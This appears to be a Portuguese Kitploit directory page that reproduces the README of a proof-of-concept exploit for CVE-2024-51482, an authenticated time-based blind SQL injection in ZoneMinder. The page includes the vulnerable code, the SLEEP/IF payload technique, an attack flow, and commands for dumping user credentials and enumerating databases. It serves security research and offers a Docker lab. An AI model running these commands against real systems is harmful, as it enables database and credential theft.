Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-51482-POC — Prova de conceito de injeção SQL baseada em tempo para CVE-2024-51482 no ZoneMinder, com laboratório Docker reproduzível e extração automatizada de dados. | Kitploit
Ferramentas/GitHubGitHub/0xdaeras/cve-2024-51482-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoSegurança de Banco de DadosLabs e Prática
GitHub0xdaeras/cve-2024-51482-poc

CVE-2024-51482-POC

Prova de conceito de injeção SQL baseada em tempo para CVE-2024-51482 no ZoneMinder, com laboratório Docker reproduzível e extração automatizada de dados.

Ver Repositório
712há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

PoC de SQLi Baseada em Tempo Autenticada no ZoneMinder - CVE-2024-51482

CVE-1 CVSS Python

⚠️ Apenas para fins educacionais e pesquisa de segurança autorizada. Executar esta ferramenta contra sistemas que você não possui ou sem permissão por escrito para testar é ilegal.


Índice

  • PoC de SQLi Baseada em Tempo Autenticada no ZoneMinder - CVE-2024-51482
    • Índice
    • Visão Geral
    • Detalhes da Vulnerabilidade
      • CVE-2024-51482 — Injeção SQL Cega Baseada em Tempo
      • Causa Raiz
      • Fluxo de Ataque
    • Estrutura do Repositório
    • Requisitos
    • Instalação
      • PoC
      • Laboratório Docker
    • Uso
      • Comportamento padrão
      • Tela de ajuda
      • Comandos
      • Opções de saída
      • Referência de flags
      • Exemplo Completo
      • Notas
      • Laboratório Docker
    • Exemplo de Saída
    • Remediação
      • Contra este CVE
      • Contra vulnerabilidades semelhantes
    • Linha do Tempo de Divulgação
    • Referências

Visão Geral

Este repositório contém um PoC de injeção SQL baseada em tempo direcionado ao ZoneMinder.

A ferramenta permite:

  • Verificação de vulnerabilidade
  • Enumeração de banco de dados
  • Descoberta de tabelas e colunas
  • Extração completa de tabelas
  • Exportação para CSV

Também inclui um laboratório Docker totalmente reproduzível para testes seguros.


Detalhes da Vulnerabilidade

CVE-2024-51482 — Injeção SQL Cega Baseada em Tempo

  • ID CVE: CVE-2024-51482
  • Pontuação CVSS v3.1: 10.0 (Crítico)
  • Tipo de Vulnerabilidade: Injeção SQL Cega Baseada em Tempo
  • Versões Afetadas: ZoneMinder v1.37.* <= 1.37.64
  • Vetor de Ataque: Endpoint autenticado (removetag)
  • Impacto: Divulgação completa do banco de dados, comprometimento da integridade dos dados
  • Autenticação Necessária: Sim (usuário com privilégios baixos é suficiente)

Causa Raiz

O ZoneMinder é um software de televisão de circuito fechado gratuito e de código aberto. A vulnerabilidade surge da validação insuficiente de entrada no endpoint removetag do ZoneMinder. A entrada fornecida pelo usuário é incorporada diretamente em consultas SQL sem sanitização ou parametrização adequada, permitindo que atacantes injetem payloads SQL maliciosos baseados em booleanos. O exploit utiliza:

SLEEP(x - IF(condition, 0, x))

para inferir dados através do tempo de resposta.

Trecho de código vulnerável completo do Aviso do Mantenedor no GitHub:

case 'removetag' :
    $tagId = $_REQUEST['tid'];
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
    $rowCount = dbNumRows($sql);
    if ($rowCount < 1) {
      $sql = 'DELETE FROM Tags WHERE Id = ?';
      $values = array($_REQUEST['tid']);
      $response = dbNumRows($sql, $values);
      ajaxResponse(array('response'=>$response));
    }

Fluxo de Ataque

Atacante                              Aplicação Web ZoneMinder
   │                                         │
   │  [Autenticação]                         │
   │  POST /zm/index.php                     │
   │  {username, password}                   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  200 OK + Set-Cookie: ZMSESSID=...      │  ← sessão autenticada
   │                                         │
   │  [CVE-2024-51482]                       │
   │  GET /zm/index.php                      │
   │  ?view=request&request=event            │
   │  &action=removetag&tid=<payload>        │
   │────────────────────────────────────────►│
   │                               Consulta SQL booleana executada
   │                               IF(condition, sem atraso, SLEEP)
   │◄────────────────────────────────────────│
   │  Resposta atrasada (oráculo de tempo)   │  ← condição inferida
   │                                         │
   │  Repetir requisições                    │
   │  ASCII(SUBSTRING(query,pos,1))          │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Diferenças de tempo revelam caracteres │
   │                                         │
   │  Busca binária por caractere            │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Dados extraídos (1 caractere por vez)  │
   │                                         │
   │  SELECT Username, Password FROM Users   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Divulgação completa do banco de dados  │
   │                                         │
   ✓  Exfiltração completa de dados via SQLi cego

Estrutura do Repositório

CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│   ├── Dockerfile
│   └── entrypoint.sh
└── logs/

Requisitos

  • Python 3.8+
  • requests
  • Docker e docker-compose (para o ambiente de laboratório)

Instalação

PoC

git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt

Laboratório Docker

git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env  # Configure as variáveis de ambiente
docker compose up -d

Uso

Comportamento padrão

Sem nenhuma flag, a ferramenta autentica no alvo, verifica sua vulnerabilidade e, se vulnerável, extrai as colunas ID, Username, Password, Name e Email da tabela zm.Users (comando dump-users).

python exploit.py -t http://target/zm -u <username> -p <password>

Tela de ajuda

python exploit.py -h

Comandos

check

Apenas verifica se o alvo é vulnerável.

python exploit.py -t http://target/zm -u <username> -p <password> check

dump-users

Extrai as colunas ID, Username, Password, Name e Email da tabela zm.Users. Comando padrão se nenhum for especificado.

python exploit.py -t http://target/zm -u <username> -p <password> dump-users

list-db

Lista todos os bancos de dados.

python exploit.py -t http://target/zm -u <username> -p <password> list-db

list-tables

Lista tabelas em um banco de dados especificado.

python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>

list-columns

Lista colunas em uma tabela especificada.

python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
Baixar ferramenta